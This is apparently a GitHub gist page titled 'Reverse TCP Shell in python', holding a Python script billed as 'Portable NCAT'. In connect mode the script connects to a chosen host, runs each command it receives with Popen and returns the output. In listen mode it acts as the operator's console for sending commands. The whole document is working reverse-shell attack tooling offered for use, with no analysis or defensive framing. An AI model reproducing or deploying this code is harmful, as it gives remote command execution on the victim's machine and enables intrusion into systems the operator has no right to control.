Skip to content

Instantly share code, notes, and snippets.

@tbhaxor
Created November 30, 2019 13:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tbhaxor/a78dcefdaab40faf735bfac5dd57fce1 to your computer and use it in GitHub Desktop.
Save tbhaxor/a78dcefdaab40faf735bfac5dd57fce1 to your computer and use it in GitHub Desktop.
Reverse TCP Shell in python
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import PIPE, Popen
# configuring arguments
parser = ArgumentParser(description="Portable NCAT",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("-l",
"--listen",
action="store_true",
default=False,
dest="listen",
help="sets the program on listening mode")
parser.add_argument("-c",
"--connect",
action="store_true",
default=False,
dest="connect",
help="sets the program on connecting mode")
parser.add_argument("--shell",
action="store_true",
default=False,
help="run the command with shell context (default: False)")
parser.add_argument("-P",
help="sets the port",
metavar="PORT_NUMBER",
type=int,
dest="PORT",
required=True)
parser.add_argument("-H",
help="sets the host",
metavar="HOSTNAME",
dest="HOST",
required=True)
# parsing the args
args = parser.parse_args()
# safeguarding
if args.connect and args.listen:
raise ValueError("Method not allowed")
# if selected connect mode
if args.connect:
# instantiate the socket
client = socket(AF_INET, SOCK_STREAM)
# performing safe connection
try:
client.connect((args.HOST, args.PORT))
print("[#] Connected to the Server")
except ConnectionRefusedError:
print("[X] Unable to Connect To: tcp://%s:%d" % (args.HOST, args.PORT))
exit(1)
# iterate on connction
while True:
# recieve message from server
cmd = client.recv(4096).decode()
# if no input or exit, exit
if not cmd or cmd.lower() == "exit":
client.close()
break
# run the command
process = Popen(cmd.strip().split(), stdout=PIPE, stdin=PIPE)
# send the output
client.sendall(process.stdout.read())
pass
elif args.listen:
# instantiate server
server = socket(AF_INET, SOCK_STREAM)
# safe binding host and port
try:
server.bind((args.HOST, args.PORT))
print("[#] Server will listen on: tcp://%s:%d" %
(args.HOST, args.PORT))
except OSError:
print("[#] Port already in use")
exit(1)
# listening to the server
server.listen()
print("[#] Listening")
# iterating
while True:
# accepting the connection
try:
client, address = server.accept()
except OSError:
break
print("[!] Client Connected: tcp://%s:%d" % (address[0], address[1]))
# iterating while client is available
while True:
# trying to send data
try:
# getting input
data = input("SERVER> ")
if not data or data.lower() == "exit":
server.close()
break
# sending it to the client
client.sendall(data.encode())
# receving from the client
data = client.recv(4096).decode()
# printing the output
print(data)
except Exception:
break
pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment